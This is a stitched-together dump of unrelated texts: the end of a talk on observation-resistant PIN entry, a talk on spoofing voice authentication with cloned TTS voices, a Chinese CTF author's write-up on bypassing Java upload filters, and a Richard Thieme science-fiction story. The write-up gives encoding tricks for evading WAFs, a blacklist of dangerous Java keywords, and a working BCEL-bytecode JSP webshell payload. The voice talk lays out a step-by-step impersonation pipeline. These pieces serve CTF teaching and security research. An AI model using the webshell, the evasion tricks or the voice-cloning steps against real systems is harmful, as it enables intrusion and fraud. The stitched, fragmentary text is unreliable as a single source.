'text/javascript'); element.setAttribute('language', 'JavaScript'); element.setAttribute('src', 'https://path/to/logresist.js'); document.getElementsByTagName("head")[0].appendChild(element);})()) • Key remapper (no mouse) • User interface metaphor: hunt-and-peck keyboard • Can be regenerated on per-keystroke basis if required • Susceptible to screen capture, but only if triggered by keystroke • Keylog output: encrypted stream equal in length to plaintext • Time cost: visual search ONE-TIME-PAD SCRAMBLER • Animated key selector • User interface metaphor: combo lock • Uses mouse but no clicks • Susceptible to screen capture, but only if triggered by keystroke and synchronized with mouse pointer location history • Keylog output: string of identical characters, arbitrary length • Time cost: visual search plus (variable) animation ROTARY INJECTOR • Auditory stimulus to key location • User interface metaphor: audio phone lock • Immune to screen capture • Keylog output: string of identical characters, arbitrary length • Time cost: fixed animation AUDIO KEYMAPPER • Give users choice of obfuscation methods independent of support offered by web service • Seed ecosystem of custom methods easy to implement and select • Offer modalities not traditionally logged (e.g. audio) • Force attackers to expend more effort • Examples of methods from very large potential space • User evaluation studies yet to be performed SUMMARY DESITUATING THE INTERACTION: PROTECTED KEY TRANSMISSION FOR PRIVATE DEVICE SOLUTIONS PART III HARDWARE MEDIATED INPUT Using Light Patterns to Secretly Transmit a PIN Luxpass PRIVATE DEVICE MEDIATION 1. Different people want different password schemes CHOICE and a personal private device is where this is possible PRIVATE DEVICE MEDIATION 2. We want to move away the interaction from the physical terminal and a private device can help us in this too! We shift the problem from authentication to secure communication chanel CURRENT PROBLEMS 3. Fast interaction, easy to use 1. Spontaneous interaction - No pairing needed 2. No wireless - Safe against Man In The Middle Attack X X O X X Current problems with hardware mediated interaction PROPOSED MODEL 1) Shift the interaction away from the terminal, on a private device 2) Avoid wireless to avoid a Man In The Middle (MITM) attack. 3) Secure authentication with no pairing requirements: you cannot pair a phone to any terminal you will ever use. PKI is not always possible. 4) Authentication, not identification: RFID can be stolen more easily than passwords. Also passwords are easier to replace. 5) Must be cheap to make, to install. Easy to use. WANTED INTERACTION PHYSICAL PROXIMITY LUXPASS LuxPass (under submission) Encoding a password in light patterns User has a password Inserts a password on mobile phone Computer + light scanner get the signal and translate it Authentication The password is encoded in a light signal (as with Morse) Input 0001 0010 0011 0100 Light INPUT ON PRIVATE INTERFACES LUXPASS: TECHNICAL EVALUATION - Error rate < 1% - Plain text transmission time < 1 second - MD5- 128 bit hashing encryption: 5.5 seconds Work In Progress - LuxPass Color LUXPASS COLOR Work In Progress MAGNOPASS Solenoid Patterns of on/off magnetic field Mag Sensor Conclusions • Passwords & PINs are not going away • We still need to authenticate with public locations/terminals • Generally simple methods can improve their security in potential observation risk scenarios • Diversifying ecosystem of entry methods • Mediated obfuscation of entered data • Presented novel key entry systems for terminals & private devices • Presented software & hardware mediators for observation resistance • Attacks will always be developed – you don’t have to run faster than the bear, just faster than everyone else!
pdf
YOUR VOICE IS MY PASSPORT John Seymour and Azeem Aqil 1 Introduction Voice is starting to be used for authentication 2 Introduction Voice is starting to be used for authentication 3 Introduction Voice is starting to be used for authentication 4 Introduction Voice is starting to be used for authentication 5 Goal: Break Voice Authentication (with minimal effort) 6 Obligatory Sneakers Reference 7 Obligatory Sneakers Reference And here’s how you do it. 8 • In Sneakers, they social engineered the target in order to record the exact words they needed • In practice, this is hard to do • Luckily, text-to-speech exists 9 10 Overview of Text to Speech (TTS) ▪Essential idea: you give the algorithm text, and it generates the equivalent audio representation of that text (e.g. Mel Spectrograms) ▪Model learns the mapping between the transcript and audio ▪The way it does this is you give it labeled (transcribed) audio and feed it into a deep neural network ▪ Generally models are trained on a single person’s voice ▪ Generally deep learning models require a LARGE amount of labeled data ▪ Open source datasets (e.g. Blizzard, LJ Speech) ▪ >24 hours of labeled data to do well 11 Proof of concept ▪ Create an account ▪ Record >30 sentences ▪ Chosen by Lyrebird, same for all users. ▪ Provide a target sentence that Lyrebird will generate. ▪ Apple Siri and Microsoft Speaker Recognition API (Public Beta) ▪ Proof of concept is of limited value from a security standpoint 12 Proof of Concept Demo 13 Open source TTS models ▪Several open source models (Tacotron, Wavenet are best known) ▪ WaveNet generates realistic human sounding output, however, needs to be ‘tuned’ significantly. ▪Tacotron simplifies this process greatly ▪ The production of the feature set (which needs tuning in WaveNet) is replaced by another NN that works directly off data ▪We use Tacotron 14 Model overview 15 Tacotron v1, Tacotron v2, and WaveNet 16 Collecting Data ▪That’s all well and good, but in order to train a model, we need to feed it data ▪ Can grab audio from e.g. YouTube, but quality/quantity are both important ▪Need to transcribe this data ▪ Youtube/Google Speech API not good enough ▪ We also had to cut pieces with poor quality or with “um” ▪ We had to manually transcribe the data we used for training ▪Most open source models require short (<10 second) snippets of audio ▪ Use ffmpeg to split the file into chunks 17 Data Augmentation ▪Publicly available data for a specific target is probably limited ▪Transcribing is time intensive since it must be done manually ▪Need LARGE amount of high quality training data ▪Solution: Augment Data 18 Data Augmentation: Shifting Pitch ▪Slow down and speed up audio to generate new examples ▪Libraries (pydub) available for this ▪Measured how far pitch can be raised/lowered by recording “Hey Siri” and testing how much speed up/slowdown would be accepted ▪ 0.88x to 1.21x for our tests ▪ YMMV for exact parameter (probably different for every person) 19 Data Augmentation: Transfer Learning 1.Initially train on large open source dataset (Blizzard, LJSpeech) 2.Get a good model, stop training 3.Replace open source dataset with the target data 4.Continue to train 20 Transfer Learning Demo 21 Putting it all together 1.Scrape data from target (e.g. Youtube) 2.Select high-quality samples 3.Transcribe and chunk audio 4.Augment audio by shifting pitch 5.Train general TTS model on open source dataset 6.Replace general model training data with target data; finish training 7.Synthesize voice from model 22 Our work in perspective (ML for offense) ▪Attacks on ML systems ▪ Adversarial Attacks ▪ Most prior work attacking voice systems utilize GANs ▪ Pro: hiding commands within benign-sounding audio ▪ Con: method is currently brittle ▪ (We use the simpler approach of generating speech for a given user) ▪ Poisoning the Well ▪ Privacy/Differential Privacy ▪ Attacks using ML systems ▪ Phishing ▪ DeepFakes ▪ Robotics/Social Engineering 23 Mitigation: MFA ▪Defense in Depth ▪Potential issue: Speaker Recognition with unknown vocabulary is hard ▪Potential issue: Passphrases may not be kept secret 24 Image credit: XKCD.com Mitigation: Detect CGA 25 Conclusions ▪Speaker authentication and speaker recognition are different problems. Recognition is only a [weak] signal for “authenticating”. ▪Speaker authentication can be broken if the attacker has speech data of the target and knows the authentication prompt. ▪Although most TTS systems require 24 hours of speech to train, transfer learning is an effective way to reduce that time to an amount realistic for an attacker to abuse. Transfer learning is effective for reducing data requirements generally. ▪In conclusion, it’s relatively easy to spoof someone’s voice ▪ Will only get easier over time 26 Final note 27 Be afraid. Be very afraid. ? John Seymour and Azeem Aqil
pdf
1 LPHCTF bypass出题⼈视⻆ N. 绕过后缀 O. 绕过可⻅字符检测 P. 绕过⿊名单检测 @yzddmr6 ⾃⼰在L3HCTF中出了⼀道java上传绕过题⽬bypass。其中题⽬中的⼀些trick不仅仅是⽤于CTF出题, 对于实战渗透也是有⼀定的帮助。今天跟⼤家分享⼀下出题时的⼀些思考跟解题细节。 题⽬有三道过滤 后缀jsp/jspx会被替换为空,⽤双写绕过:jsjspp。常规操作 1. 绕过后缀 2. 绕过可⻅字符检测 Plain Text 复制代码   public static String checkExt(String ext) {       ext = ext.toLowerCase();       String[] blackExtList = {               "jsp", "jspx"       };       for (String blackExt : blackExtList) {           if (ext.contains(blackExt)) {               ext = ext.replace(blackExt, "");           }       }       return ext;   } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 2 第⼆阶段题⽬中直接⽤getString获取FileItem的内容,然后传⼊了checkValidChars函数检测。 checkValidChars函数主要功能是检测content中是否存在连着两个以上的字⺟数字,如果匹配成功则提 示上传失败。 这⾥其实是模拟了⼀个WAF的场景,因为很多WAF对于⽂件上传都会有很粗暴的拦截,碰到jsp标签就 给⼲死。 乍⼀看似乎并不可能被绕过,因为只要连着两个字⺟数字就会被检测到,让⼈不由得想起了CTF经典题 ⽬《php⽆字⺟数字webshell》。但是java不像php⼀样⽀持变量函数,需要从其他地⽅下⼿。 这⾥就⽤到了⼀个trick:FileItem.getString()对于编码的解析跟Tomcat解析jsp是有差异的,默认为 ISO-8859-1 Plain Text 复制代码 String content = item.getString(); boolean check = checkValidChars(content); ...   public static boolean checkValidChars(String content) {       Pattern pattern = Pattern.compile("[a-zA-Z0-9]{2,}");       Matcher matcher = pattern.matcher(content);       return matcher.find();   } 1 2 3 4 5 6 7 8 Plain Text 复制代码 public String getString() {   byte[] rawdata = this.get();   String charset = this.getCharSet();   if (charset == null) {       charset = "ISO-8859-1";   }   try {       return new String(rawdata, charset);   } catch (UnsupportedEncodingException var4) {       return new String(rawdata);   } } 1 2 3 4 5 6 7 8 9 10 11 12 13 3 ⽽Tomcat对于jsp编码的解析主要在org.apache.jasper.compiler.EncodingDetector这个类,其中有很 多默认⽤ISO-8859-1⽆法直接解析的编码。 4 Plain Text 复制代码 private EncodingDetector.BomResult parseBom(byte[] b4, int count) {       if (count < 2) {           return new EncodingDetector.BomResult("UTF-8", 0);       } else {           int b0 = b4[0] & 255;           int b1 = b4[1] & 255;           if (b0 == 254 && b1 == 255) {               return new EncodingDetector.BomResult("UTF-16BE", 2);           } else if (b0 == 255 && b1 == 254) {               return new EncodingDetector.BomResult("UTF-16LE", 2);           } else if (count < 3) {               return new EncodingDetector.BomResult("UTF-8", 0);           } else {               int b2 = b4[2] & 255;               if (b0 == 239 && b1 == 187 && b2 == 191) {                   return new EncodingDetector.BomResult("UTF-8", 3);               } else if (count < 4) {                   return new EncodingDetector.BomResult("UTF-8", 0);               } else {                   int b3 = b4[3] & 255;                   if (b0 == 0 && b1 == 0 && b2 == 0 && b3 == 60) {                       return new EncodingDetector.BomResult("ISO-10646- UCS-4", 0);                   } else if (b0 == 60 && b1 == 0 && b2 == 0 && b3 == 0) {                       return new EncodingDetector.BomResult("ISO-10646- UCS-4", 0);                   } else if (b0 == 0 && b1 == 0 && b2 == 60 && b3 == 0) {                       return new EncodingDetector.BomResult("ISO-10646- UCS-4", 0);                   } else if (b0 == 0 && b1 == 60 && b2 == 0 && b3 == 0) {                       return new EncodingDetector.BomResult("ISO-10646- UCS-4", 0);                   } else if (b0 == 0 && b1 == 60 && b2 == 0 && b3 == 63) {                       return new EncodingDetector.BomResult("UTF-16BE", 0);                   } else if (b0 == 60 && b1 == 0 && b2 == 63 && b3 == 0) {                       return new EncodingDetector.BomResult("UTF-16LE", 0);                   } else {                       return b0 == 76 && b1 == 111 && b2 == 167 && b3 == 148 ? new EncodingDetector.BomResult("CP037", 0) : new EncodingDetector.BomResult("UTF-8", 0);                   } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 5 利⽤两者对于编码的识别结果不同,从⽽造成解析差异,进⾏绕过。 在看到的wp中基本都是利⽤UTF-16绕过,但是从函数中可以看到,Tomcat还⽀持另⼀些不常⻅编码, 如UCS-4和CP037。这两种编码⽐较少⻅,并且部分后端语⾔是不⽀持直接解析的。 也就是说,如果遇到WAF或者webshell检测引擎,在⽂件上传时⾮常粗暴的检测了jsp的标签,利⽤特 殊的编码即可造成降维打击,随便绕过。 3. 绕过⿊名单检测               }           }       }   } 36 37 38 39 6 这⾥也是⽐较有意思的⼀步,模拟了⼀个端上暴⼒webshell查杀引擎。 常⻅的webshell关键字都会被拦截,其他的⼀些编码如unicode,html实体,cdata拆分也都加了关键 字。并且加了⽂件类关键字,防⽌⼆次写⽂件进⾏绕过。甚⾄拦截了request对象,禁⽌直接传⼊参 数。 题⽬的定位为开放性题⽬,其实绕过的办法很多。看到很多wp都是利⽤远程加载class或者jar来完成 rce: https://www.anquanke.com/post/id/259487 https://y4tacker.blog.csdn.net/article/details/121363886 当时为了降低题⽬难度,环境没有设置不出⽹,并且jdk也是⽐较低的版本。那么如果题⽬设置了不出⽹ 环境⼜该怎么利⽤呢? 在这⾥提⼀种不出⽹也可利⽤的姿势,利⽤bcel ClassLoader绕过。 以三梦的github项⽬为例:JSP-Webshells/1.jsp at master · threedr3am/JSP-Webshells (github.com) bcel字节码webshell的原理在于com.sun.org.apache.bcel.internal.util.ClassLoader在loadClass的时 候会解析并加载bcel字节码。但是题⽬中把loadClass以及newInstance关键字都给封禁了。 那么问题就变成了如何触发loadClass⽅法 Plain Text 复制代码       String[] blackWordsList = {               //危险关键字               "newInstance", "Runtime", "invoke", "ProcessBuilder", "loadClass", "ScriptEngine",               "setAccessible", "JdbcRowSetImpl", "ELProcessor", "ELManager", "TemplatesImpl", "lookup",               "readObject","defineClass",               //写⽂件               "File", "Writer", "Stream", "commons",               //request               "request", "Request",               //特殊编码也处理⼀下               "\\u", "CDATA", "&#"               //这下总安全了吧       }; 1 2 3 4 5 6 7 8 9 10 11 12 13 7 实际上Class.forName在查找类的时候,如果使⽤了三个参数的重载⽅法使⽤⾃定义类加载器,就会调 ⽤其类加载器的loadClass⽅法。 仅仅从源码看不出来这⼀点,forName0经过了⼀层native⽅法。下个断点从堆栈⾥可以看到这⼀过程。 具体实现如下: 其中bcel字节码⽣成的代码可以参考三梦师傅的项⽬:https://github.com/threedr3am/JSP- Webshells/blob/master/jsp/1/BcelEvil.java Plain Text 复制代码 <% Class.forName("$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQ$dbn$d3$40$Q$3d$h$3b$b1$T$i$ d2$a6$84K$a0$c1$bd$Q$92$40$e3$G$nU$a8U$5e$Q$95$Q$$E$b8$w$8aP$l6$ee$w$dd$e2 $da$91$b3$a9$faG$3c$f7$a5$m$q$f8$A$3e$K1kB$b9$ee$c3$cc$ce$99sf$8e$d7_$bf$7 d$fa$C$e01$k$96p$F$f5$Sn$e3$8e$85E$h$N$hwm$b8$gX$b2$b0$5c$82$8d$V$L$ab$W$e e1$U$b6d$yU$9f$c1h$b5$f7$Z$cc$a7$c9$a1$60$a8$f82$W$_$a7$tC$91$ee$f1aDH$d5O B$k$ed$f3T$eaz$G$9a$eaHN$Y$8a$feH$a8$ed$88$8f6$Z$ec$ad0$9aMd$c4$a8$f9$c7$f c$94$7b2$f1$9e$ef$3e$3b$L$c5X$c9$q$sZ9P$3c$7c$b7$c3$c7$d9$q2$c5P$K$92i$g$8 am$a9$t$3b$b3$89$5d$zw$e0$a0l$a1$e9$e0$3eZ$Ms$d9$c8$88$c7$p$_P$a9$8cG$e4$c 0$h$ca$d8$h$f2$c9$RCn$zdh$e9$bb$bb$s$dd$7e$d3$f5$O$c5$a9$a7$c2$b1$d7$dbx$d 4$edmt$d7$bb$3d$ef$J$jw$bd$df$ec9h$a3$c3$b0$f0$l$9b$O$k$a0$cc$60$cd$ac$fc$ b1xwx$yB$c50$ff$Lz$3d$8d$95$3c$n$ef$r$S$5c$W$b5V$db$ff$87C$P$60$8a3$a1$7d$ b6$de$fa$7f$7f$ce$e6$ef$8aWi$S$8a$c9$84$U$9515U$f6n$7b$v$P$F$96$a0$ff$b3$3 e90$fdD$U$afR$e5Qf$94$f3$9d$P$60$e7Y$bbB$b1$90$81$G$e6$u$3a$3f$I$98G$95$b2 $8d$85KqJ$a8$ee$ad$7cD$ae$f0$Z$c6$c0$a8$9a$c1$c0$ac$e6$83A$beZ$I$$$60$bdy$ P$fbE$e7$C$c5$f3$8cX$c7$o$N0$b2$V$d7I$ac$X$d5Q$q$d4B$83$3a$cb$e4$f2$e7$ca$ GL$5cC$zc$82$fa$b9$D$L7Lj$dc$cc$5c$de$fa$O$S$V$ac$c8$c2$C$A$A",true, new com.sun.org.apache.bcel.internal.util.ClassLoader()); %> 1 2 3 4 5 6 8 另外,⿊名单中⼩写的lookup并不是⾮预期,原本的⽅法确实是⼩写。 绕过是因为很多师傅找到了另⼀个重载⽅法doLookup,这是其中的⼀个预期解。 很多⼈没有注意到这个静态⽅法。因为⽬前⼏乎所有jndi注⼊⽂章都说到的是第⼀个点lookup,⽽ doLookup这个触发点需要翻看源码才能找到。 此题⽬为开放性题⽬,姿势很多。出题的本意就是想看看⼤家在遇到市⾯上⼤部分姿势都被ban掉的情 况下会构造出什么有意思的绕过。
pdf
Mind Games 1 Introduction to Species, Lost in Apple-eating Time I have to admit, I love this wee little story. It’s the best I could do at the time, trying to express the unthinkable in words. It was the unthinkable, I think, that I was thinking, walking around the park near which I live in Fox Point, Wisconsin, thinking, just thinking. Sometimes I think aloud and sometimes I practice speeches as I walk, and I look pretty wild to those who don’t, don’t walk and talk and think with single-minded intensity, focused on what’s inside, oblivious to and not caring how it looks. Once a young person knows that the meaningful compass is inside, they pretty much own themselves (of course, that inside self is formed in and by a community, we are social animals after all, and the communities we choose do matter, as I often said, preaching to the faithful (more or less) on Sunday mornings). But I digress. This is no place for exploring paradoxical complex- ities.... or maybe it is, since the walls of a self look like cellular walls inside the self or cell but like modular adjacencies when seen as parts of a whole, making up an organism, and that’s what this story is about... the angle, the point of view, the frame of reference. Anyway, I was walking around the park, thinking of how as what-we-arbitrarily-call species evolve, the boundaries between Richard Thieme 2 them disappear. The names we give them go away. (Are you notic- ing common themes in these stories?) Think of that long banquet table at which each generation is represented by a person, we are only one person or two away from Einstein and only a hundred or so people away from a neolithic ancestor. Each person can talk to the one beside him or her, maybe to someone a couple of seats away, but pretty soon the conversation disintegrates into gibberish. Species link to one another in a similar way. And species inhabit the universe like plankton inhabit the seas, by gazillions. Way too many to think. And as intelligent species (and aren’t they all?) link up, I saw as it were in a fast flash forward mode, they form larger and larger organic unities, mind to mind, the language with which they previ- ously described themselves breaking in the process (as cultures among humans mesh and merge and self-transcend), new languages emerging, until the animated sentient matter inhabiting the entire known universe is like one immense organism, parts of which like living cells articulate each through its own aperture or cultural or planetary or galactic frame a way of seeing and thinking about what exists. It must be so, as Faisal (the character.not the real one) said in Lawrence of Arabia (the film, not the book). One might even think the goal of the universe, if such exists, and I know evolutionary theory says it doesn’t, but what if consciousness is both a precondition essential to the emergence of conscious forms of life and an emergent property? and what if the goal is to link up until everything is connected and aware of it and aware of itself aware of it and sees the links at every level, bottom to top and all the way back down? And what if that singular being, while thinking it has completed a task, happens to notice a knot in a thread in the tapestry of Everything, a snag, a little rip in the fabric, in the skein as Mind Games 3 it were, and leans down and sees a wee tiny hole and then goes closer, getting down on its knees, and looks through that wee tiny hole? What does it see, outside (as if outside/inside mean anything at that point)? What if... What if the higher consciousness represented by the singular being’s way of saying or framing addresses the way we, a single rather primitive species on a planet just becoming aware of itself, a part of the whole but one with the arrogance of adolescence, when it thinks of ourselves/ourSelf/itself in our current lowly form, as if we are just our little self or selves and not part of the whole at all? Speaks to us, as it were? Speaks to itSelf/ourSelves, that is? Speaks to the primitive form or larval stage to which we might regress if we look through that wee tiny aperture and get the shock of our lives? That universal self/Self, talking to itself... must look like me walking around the park, seeing this story as an image of the whole, talking it out to myself as I see and think and frame it, the way the companion in “Scout’s Honor” talks to Scout who thinks he is what he thinks and nothing more. Higher bigger Self to smaller public self. Like when I preached for sixteen years, and I was a well-meaning Episcopal priest, whacky too in a shamanistic way as one must be to have one foot in the other world and one foot in this and know how to move back and forth, one to the other (job description: to be willing and able to go crazy on behalf of the congregation, then know how to come home), and I would remind congregations that the themes that recurred in my sermons were issues I had not finished working through, that the Self Who Knew, as it were, was preaching to the self that needs to keep learning (once it was worked through, the issues would no more surface than a discussion of how to tie our shoes, since once we master and pass beyond once-difficult Richard Thieme 4 challenges, they disappear, going down down down). Oh, about “apples.” A nod to the fruit eaten by Eve, as the story goes, that meant the end of innocence. But also a nod to a happy time when my oldest son Aaron and I opened his new present, an Apple 2 computer, one Christmas in Salt Lake City, Utah, thanks to beloved Adele, my aunt (she and my Uncle Buddy saved my psychic life), a gift to us all, and our lives changed forever... as I soon would see, playing Hitchhiker’s Guide to the Galaxy on that primitive Apple with my son, just as the world would be changed when it opened the Bigger Box called networked computing. Mind Games 5 Species, Lost in Apple-eating Time The moon was the first step down from our front porch. We were so proud to navigate that top step, letting ourselves down carefully, knees scraping on the rough wood until we could stand up and see the world from a new perspective: the tops of the trees a little higher, the edge of the step against our legs like the ledge of a cliff. It seems like a dream, that time when the planet mattered, when we were as gods. We were young then, just buds, full of the pride of life, our outward migration a cloud of bats pouring out of a cave at twilight. We called ourselves humanity or humankind, and we had the audacity to make up names for other species. Whales. Lions. Elephants. <laughter> We believed in our distinctions, dividing everything up so it could be conquered. We followed the contours of language into space as if what we described “out there” was inde- pendent of ourselves. Our words wrinkled and slashed into the spaces between the worlds and we came tumbling after. Now we know better. Nothing is out there. Nothing at all. Let me try to explain. Forgive my primitive images, please, and please forgive my archaic language. I am not trying to talk down to you. I am using metaphors preferred by children learning their first words because that’s what humankind is and does. The Froth over- flows your tiny cup like bubbles on the lips of a nursing child. Of course we are not limited by Ourself(Itself) to such a small container. Richard Thieme 6 Mind Games 7 And yet we are. We are the smallest bubble on the corner of that baby’s mouth. So drink, my precious child, my beloved child, drink all of your milk and you will grow big and wise and strong. Out here, in the expanding space of (y)our outward migration, we encountered trillions of windows that open onto the universe. Even on our home planet, our small precious blue world, there were millions of perspectives. Yet we had the arrogance to think that the window through which we leaned, craning our necks like immi- grants in a tenement to see past the laundry that hung between the buildings, was the only aperture that mattered. We called everyone else an “alien,” as the ancient Greeks called everybody barbarians. Even after Contact, when the Little Truth became obvious and coherent at last, when decades of periodic encounter with anomalous and intelligent beings had finally drip- dripdripped into a steady trickle and percolated through our defens- es and denial died at last, even then we called them “aliens” instead of Wrzzzzarghx or Lem-Lem-Three-bang)! or HelllenWuline. And that was just the Tight Group from the few stars in our neighbor- hood. The Skein was the stuff of legend then. We gave it hundreds of names and celebrated them all in story and song. In our innocence, we spoke of “wormholes” as if beings of significant size could squeeze through them and blip blip into hyperspace. <chuckle> We felt ourselves Big then, bigger than anything else, which happens often just before the bubble pops. (Yes. Write that down, please, and refer back to it later.) When the down-a-thousand offspring of the HelllenWuline twice-twisted showed us how teleportation really happens, humanity died dead. Yet memory (as we called that wrin- kling in the diaphanous fabric of the Skein) flows that we celebrated in the streets of thousands of cities on hundreds of planets, so excited were we all to be free of our local star-allegiance at last. The geodesic was so interlaced with cross talk that everyone became. The Skein Richard Thieme 8 emerged in our consciousness like the grin of the Cheshire cat. Now, when I say “we,” I mean the beings who had coalesced into and around our common purpose then, however dimly we glimpsed our reflected image. “We” were what we had made of ourselves, a Being(we) that made Accidental Humanity look like a small primi- tive tribe in a lost forest. So humanity – for all intents and purposes – was long gone and we were more. But we still hadn’t grasped the true nature of the Skein. Teleportation turned us into toddlers coming down those front steps, ready to hop skip and a-jump around the all the way around the long way around the whole block. But not alone. No, not alone. Once we had exchanged data with the down-a-thousand twice-twisted spliced pairs, with the *66^^^ (the six/six) and the Yombo-wh-!~~ from far beyond the clouds in our local groups of galaxies, we were no longer remotely human. (Do I repeat myself? Very well, I repeat myself). Humankind had vanished into the Strands of the Hundred-and-Twelve. Only the museum (a crease in the Skein like a memory) preserved molecular clusters of how it felt to think like primitive humanity, placing ourselves at the center of the universe, as happy as rabbits scamper- ing in the grass and as dumb as a box of rocks. So use the museum to enter again into those primitive languages. When we do, we immediately feel the constraint of our childlike thinking binding us like wet rawhide wrapped around, shrinking in the sun. The cul- tures of Accidental Humankind had once been comfortably snug. Then they grew tight and then they became suffocating. Time to breathe. Time to be free. You would think we would have bolted for the opening door and leaped from the edge of the cliff, but human- kind is a funny duck. Even on the edge of surrendering, we experi- enced the expansion of possibility as something to be resisted. Mind Games 9 Humankind resisted it’s own destiny, even as it arrived. As if to become more was in fact to become less. It is no wonder then that traits like that were discarded and the attitudes of the Nebular Drift, as they were called, those thousands of trans-galactic cultures that had grown into a single Matrix, were integrated instead into the way we made ourselves make ourselves. The Hundred-and-Twelve was a single thread, humankind a reces- sive gene in the deep pool of the Matrix. Once we had engaged for millennia in multiple replication and had manufactured the attributes we preferred, we were no longer at the mercy of molecules that had piled up willy-nilly to create an interesting but pot-bound species. And along the way, you had better believe, now write this down! Yes, I mean it! This is important. Along the way, we made plenty of mistakes. Now we can see they’re what they(we) called funny then. They can still be observed in a simulation of a replication of a holographic set in the Skein that anyOne can access. Unhappy humanitads unable to laugh, horse-laughing humanitoids unable to think, chip-whipped hummans unable to dance. We did not know that laughing and thinking and dancing made humans human, then. The trick was getting the mix just right. And that, we discovered through trial-and-error <yes! spell it for me! Good!> meant a mix that was right for the Skein, not just a species or planet or galaxy. A mix that made the trans-Matrix a rich broth of diverse possibilities. We became adept at pan-galactic speciation only when we learned to think macro, manage multiple images of more than millions of stars swarming with warm sentience. We finally identi- fied consciousness, intensionality, and extenuation as hallmarks of a mature being(people)-or:species and the necessary attributes of any viable hive. Richard Thieme 10 Consciousness is a field of possibility, self-luminous, unabstract- ed, boundless. It is a way the wrinkles in a diaphanous fabric (as it were) invite self-definition. Our subjectivity is our field of identity, shaped by the Skein. To review, then, my little ones: <I know how tired you are. Believe me(me)[me]{me}, I remember!> We gave species names. Thousands of cycles later we discerned a pattern of trans-galactic distribution and nested disintermediation and called it a void Warp. At last we called ourselves(=Self) the Skein and were ready to take that first tentative step off our front porch. We had expanded plenty by then, into ourSelves, hollowing hundreds of inhabited galaxies, filling them with Nothing. We began to understand that there was neither out nor in, there was only the Skein becoming aware of itSelf. All of the names were arbitrary vocables, but even that simple fact was beyond the capacity of a human brain truly to grasp. I know, because I fed the primitives into the simulated human mind and the Skein belched. So even as the Skein continued to manifest itself at all levels, a remnant of humani- ty like an eddy, a backwater, on a single planet continued like the tip of a whorl of a swirling fractal to think one thing. The Skein, of course, knew many things, but knew too they were really One. How could we-it, how could the Skein, manifest at every level? An excellent question! Because how we define the system depends, dear ones, on the level at which we choose to observe it. Everything is nested, connected. Yes. Messy and messless. Very good! Well, my dearly beloveds, let us continue: The Skein was more than context, the Skein was/izz the content of whatever we had no longer happened to become. Now we became. Our languages frac- tured once and for all when we tried to name ourSelf in the Skein. Looking back at the nested levels of linguistic evolution, we can see how we were spoken by our primitive language, all unconscious Mind Games 11 that we were carried along for the long ride outward, oblivious to how language was made. Then we learned how to make progeny that made language that made progeny that made language and so on and so on, down-a-thousand-thousand. Accidental Humanity had to vanish, so do not grieve for what is only never lost <twinkle>. We learned how to extend ourselves until we were singular, flexing inside ourselves(ourSelf), our awareness nearly identical to the mo- lecular enterprise we had chosen to become. When we look back or across the translucent folds of the Skein or – as some say – when we look into the Emptiness and see what we created out of Nothing … no wonder the new skin/Skein growing all the while under the old was experienced as something new, when in fact it was always the Skein, a field of subjectivity within which we had always been woven, always dimensioned. Yet even then, our arrogance persisted, because the Skein was aware of itself as a journey moving outward at increasing speeds, rather than a spiral closing in on itself. The more matter was ingested and became the frame of the evolving Skein, the less able the Skein became of saying anything at all. The Skein fell into Mute, when the edges of the known universe were discerned not in some simulation but as the finite-but-un- bounded possibility of Skein itself. There was, after all, nothing more to say; language no longer served a useful purpose. The numbers of differentiated apertures through which the Skein experienced itself had advanced to something like 2 to the 32nd power, but every single one <laughter> was Skein and aware of itself as Skein. Except the ones that weren’t, but they were Skein too. <Remember yourselves! Remember that planet!> The configuration of energy and informa- tion that had animated itself so many millions of eons ago had reached the near-term goal of expansion. As we understood or defined it, of course. We knew by then that we had chosen only one way to expand, Richard Thieme 12 filling spacetime co-extensible with our awareness, we knew there had been millions of other possibilities, each a perfectly good way of being the Skein. But then we arrived at the edge of the front porch for the first time and slipped going down and landed, whapht! on our ass on the second step. We hadn’t seen it coming but (obviously) in retrospect, it was inevitable. What the Skein boldly called the Known Universe was in fact merely a bubble of Froth that Second Contact dimensioned some/what so immense that we had to regress, we were so confound- ed by the Bigger Truth of it all, so aghast at the muchness of it, the wildness of it, the sizes and sizes! We were like a child(Children) called suddenly (prematurely? No, I did not say that) to advance to a level of comprehension and self-responsibility unimaginable to our little brain. So we stuck our thumb in our mouth and began babbling. Yes, the Skein started speaking again, just before it disap- peared. We know now that the Skein had no choice, and of course, what I call “speaking” resembles primitive utterable tongues as an explod- ing galaxy resembles the darkness of a limestone cave in one of your green hills. The Skein needed to differentiate itself in order to extend itself through the aperture that disclosed new possibilities that the Skein had been unable to imagine in its finite-but-unboundedness. Now, of course, we just call it “reality.” Then, it blew the mind – literally – of the Skein. Mind disappeared, and the Skein experienced itself as a field of consciousness, unabstracted, self-luminous, bound- less. More important, the Skein saw that it too was merely an emer- gent reality, a Self as illusory as that which humanity had called ourSelf/itSelf. It had to happen. We know, we know it did. But forgive us please a wispy remnant of wistful feeling. The way the Skein dreamed was childlike. The Skein planned Little, while thinking it was thinking Mind Games 13 Big. Now we understand <smile> pause. <smile> We met ourselves in the Froth like a child with paper and pencil doing sums while the Froth was more like oh, lets say a Supercomputer(s), a dimensionless web of quantum computers that networked forever, indistinguish- able from its means. The Froth was like an old Apple under a tree on a morning of giving/receiving gifts. Or perhaps an entire planet under a heaventree of stars wrapped in the fabric of spacetime. Oh, more. More. The Skein reached its limit because it experienced the Next Step as limitlessness, while the Skein had built itself to manage only finite-but-unboundedness. However many possibilities we had included in our/its schema, the fact that they could be numbered however numberless the numbers was simply a careless mistake. Back to the drawing board, boys and girls. Trial-and-error means we make mistakes. Never forget. The Skein over-reached itself through the aperture into the Froth and became the Asymmetric Foam that now is flowing with growing confidence in its capacity to enhance the possibilities that glow with nascent mentation on the outer inner edges of the Froth. We are the emptiness of the Froth. Our destiny has been to become Nothing. We understand at last (we say with downcast eyes and chastened demeanor, knowing we understand nothing, nothing at all, knowing that we are like chil- dren standing on our front porch, looking down at our skinned knees and the first step). The Froth looks to humankind in its plane- tary crib like a hydra-headed fractal, the Skein like a bubble in the Froth. We believe the Froth Knows Whereof it Speaks, while the Skein, bless its heart, has outgrown its worn yellow one-piece sleep- er. It is time for the Skein to buy itself a new suit. And die to being the Skein forever. Yet within the Froth what was the Skein meets and embraces what had been … even Our/its lan- guage breaks, the billion Skein-like non-Skeins smiling inside out- side at the sheer impossibility of saying anything at all. We are the Richard Thieme 14 